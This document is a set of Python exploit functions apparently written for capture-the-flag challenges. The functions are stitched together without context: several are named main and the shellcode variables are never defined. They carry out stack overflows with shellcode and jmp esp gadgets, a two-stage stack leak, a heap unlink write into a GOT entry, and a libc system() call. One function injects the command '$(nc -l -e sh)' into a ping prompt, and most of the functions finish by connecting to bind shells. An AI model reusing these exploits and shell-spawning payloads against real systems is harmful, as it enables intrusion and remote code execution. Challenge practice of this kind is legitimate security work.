def main(): s = ctf.connect(HOST,PORT) padded_shellcode = shellcode + ('\x90' * (8-(len(shellcode)%8))) double_shellcode = buf_to_double(padded_shellcode) double_shellcode = [str(c) for c in double_shellcode] # This will work fine for small numbers (ie < 4 Bytes) shellcode_location = struct.unpack('d', struct.pack('Q',number_stack_data_start))[0] shellcode_location = str(shellcode_location) # Write the shellcode into the number_stack for double in double_shellcode: if double: ctf.send(s, double + '\n') # Back up to the base ctf.send(s, 'c\n') ctf.recv(s) # Back up to send in the plt for i in range(0, qwords_to_send): ctf.send(s, 'b\n') ctf.recv(s) # Write the address of the shellcode ctf.send(s, shellcode_location + '\n') # Send a bad opcode to trigger send() ctf.send(s, 'm\n') s.close() ctf.shell(HOST, shell_port)
def main_1stage(): s = ctf.connect(HOST,PORT) # Password? ctf.recv(s) ctf.send(s, '\n') # Doesn't matter ctf.recv(s) # Payload ctf.send(s, bind_shellcode) ctf.send(s, 'A' * (0x208-len(bind_shellcode))) ctf.send(s, 'B' * 4) ctf.send(s, jump_esp_gadget) shell_code_offset = 0x208 + 4 + 4 ''' sub esp, X = 81 EC XX XX XX XX ''' sub_stack_asm = '\x81\xEC' + struct.pack('I', shell_code_offset) ctf.send(s, sub_stack_asm) ctf.send(s, '\xFF\xE4') # jmp esp ctf.send(s, '\n') ctf.shell(HOST, shell_port)
def main(): s = ctf.connect(HOST,PORT) # password ctf.send(s, 'NowIsTheWinterOfOurDiscountTent\n') ctf.recv(s) ctf.send(s, '\n') diff_to_buff=1088 welcome_string = ctf.recv(s) ptr_raw = welcome_string[9:15] + '\x00' * 2 leaked_ptr = struct.unpack('Q', ptr_raw)[0] our_buf = leaked_ptr-diff_to_buff print('leaked_ptr = %X' % leaked_ptr) print('buf @ 0x%X' % our_buf) ctf.send(s, shellcode) ctf.send(s, 'A' * (0x420-len(shellcode)), dump=False) ctf.send(s, 'B' * 8) ctf.send(s, struct.pack('Q', our_buf)) ctf.send(s,'\n') ctf.recv(s) ctf.shell(HOST, shell_port) s.close()
def main(): s = ctf.connect(HOST, PORT) # Password prompt ctf.recv(s) ctf.send(s, PASSWORD + '\n') # Wait for a prompt while '>' not in ctf.recv(s): pass ''' 1: Display Memory Information 2: Display CPU Information 3: Display Disk Information 4: Display Processes 5: Display Log 6: Erase Log 7: Ping 8: Who is online 9: Update Firmware 10: Quit ''' ctf.send(s, '7\n') # Which addr ctf.recv(s) ctf.send(s, '$(nc -l -e sh)\n') for i in range(1000,65536): if i != 3030: ctf.shell(HOST,i, tries=1, verbose=False)
def main(): s = ctf.connect(HOST,PORT) recv_data = '' while True: data = ctf.recv(s, 1024, dump=False) if not data: break else: recv_data += data if 'Write' in data: break allocs = get_allocations(recv_data) # We always write into allocation 10 offset_to_next_header = allocs[11] - allocs[10] - 8 print('Offset to next header = %d' % offset_to_next_header) # The heap layout looks like # ptr-8: Previous Chunk Size # ptr-4: Chunk Size (bit 0 is set if the previous chunk is used) # ptr-0: Data # # The heap implemention always adds 4 Byte to the size # and aligns to the next 8 Byte boundry # alloc_size = ((size+4)&0xfffffffe)+8 # # After freeing the heap implementation will keep old blocks for reuse # The header changes to: # ptr-8: Previous Chunk Size # ptr-4: Chunk Size # ptr-0: Pointer to free list (forward) # ptr+4: Pointer to free list (back) # ptr+8: Old data is not cleaned up here (SHELLCODE goes here) # We can get an arbitrary 4 Byte write by setting the forward and backward # pointers in the header. See # .text:080493F6 mov [eax+8], edx ; *(next->forward + 8) = next->bk payload = struct.pack('I', 0x0804C004-8) #eax (got entry for printf) payload += struct.pack('I', allocs[10]+8) # edx (shellcode location) payload += '\x90' * 100 payload += exec_shell payload += '\x90' * (offset_to_next_header-len(payload)) # Overwrite the sizes in the next header will small number with bit 0=0 # The low bit must be 0 to trigger free chunk merging payload += struct.pack('I', 100) ctf.send(s, payload + '\n') # Now the app will free the allocated blocks triggering the arbitrary write # during block merging ctf.recv(s)
def main(): s = ctf.connect(HOST,PORT) while 'exit' not in ctf.recv(s, dump=False): pass arr = string_to_int_array("nc -l -p %d -e/bin/sh " % shell_port) print(arr) val_base = 0x0804C040 for num in arr: write_addr(s, val_base, num) val_base = val_base + 4 libc_main = read_addr(s, 0x0804BF9C) offset_to_system = 0x237c0 system_addr = libc_main + offset_to_system print('libc_main @ 0x%X' % libc_main) print('offset = %X' % offset_to_system) print('system @ 0x%X' % system_addr) execute(s, system_addr) ctf.shell(HOST, shell_port)
def read_addr(s, addr): base = 0x0804C040 # word align this to the previous word aligned_addr = addr - (addr % 0x4) diff_in_words = (aligned_addr-base)/4 ctf.send(s,'read\n') ctf.recv(s) ctf.send(s, str(diff_in_words) + '\n') val_string = ctf.recv(s) value = int(re.search(': (-?\d+)', val_string).group(1)) value = int(tohex(value, 32),16) return value
def main(): s = ctf.connect("localhost", 1994) # Welcome MSG ctf.recv(s, dump=False) # prompt ctf.recv(s, dump=False) ctf.send(s, "png2ascii\n") # png2ascii cmd msg ctf.recv(s, dump=False) # The input buffer is 256 Bytes long # Stack layout looks like # buf : 256 Bytes # saved fp: 4 Bytes # ret addr: 4 Bytes buf_len = 260 ctf.send(s, "A" * buf_len) # Just somewhere in the data segment to stuff our shellcode # data_loc = 0x10000000 data_loc = 0x10009894 exec_loc = data_loc + 4 read_gadget(s, 5, data_loc, len(shellcode), data_loc) ctf.send(s, "\n") ctf.send(s, struct.pack("I", exec_loc) + shellcode)
def write_addr(s, addr, val): base = 0x0804C040 # word align this to the previous word aligned_addr = addr - (addr % 0x4) diff_in_words = (aligned_addr-base)/4 # The high bits get shifted off during the *4 multiply # Set the high bit so this looks like a negative number if (diff_in_words > 9): diff_in_words = -(2**31) + diff_in_words ctf.send(s,'write\n') ctf.recv(s) ctf.send(s, str(diff_in_words) + '\n') ctf.recv(s) if val > 2**31: val = val - 2**31 val = -(2**31) + val ctf.send(s, str(val) + '\n') ctf.recv(s)
def main_2stage(): s = ctf.connect(HOST,PORT) # Password? ctf.recv(s) ctf.send(s, '\n') # Doesn't matter ctf.recv(s) # Payload ctf.send(s, 'A' * 0x208) # Buf ctf.send(s, 'B' * 4) # Saved ebp ctf.send(s, return_gadget * 4) # Move the sp up ctf.send(s, send_gadget) ctf.send(s, '\xDE\xAD\xD0\x0D') # just let this process die, we got what we came for ctf.send(s, struct.pack('I', 5)) # fd # A stack addr is going to be here # Then some size (don't care) # Then some flags (dont'care) ctf.send(s, '\n') # Useless output from program ctf.recv(s) # Lets see what's on the stack stack_data = ctf.recv(s, recv_len=4096) # Nice we can see the part of the stack we've been working on # Pull out the address of what we just leaked chunks = ctf.chunks(stack_data, 4, adv=2) for c in chunks: if c == '\xDE\xAD\xD0\x0D': # adv the generator to the addr next(chunks) next(chunks) next(chunks) break leaked_addr = struct.unpack('I', next(chunks))[0] print("Got addr %X" % leaked_addr) bottom_of_original_frame = leaked_addr + 0x1e top_of_original_frame = bottom_of_original_frame - 0x150 print("Bottom of original frame = %X" % bottom_of_original_frame) print("Top of original frame = %X" % top_of_original_frame) s.close() # This process has probably already died by now # Alright lets get some shellcode onto the stack and pop this s = ctf.connect(HOST,PORT) # Password? ctf.recv(s) ctf.send(s, '\n') # Doesn't matter ctf.recv(s) # Payload nop_sled_size=256 + 128 ctf.send(s, '\x90' * nop_sled_size) ctf.send(s, bind_shellcode) ctf.send(s, 'A' * (0x208-len(bind_shellcode)-nop_sled_size)) ctf.send(s, 'B' * 4) # Saved ebp ctf.send(s, struct.pack('I', top_of_original_frame)) # Thank you fork! ctf.send(s, '\n') ctf.shell(HOST, 31337)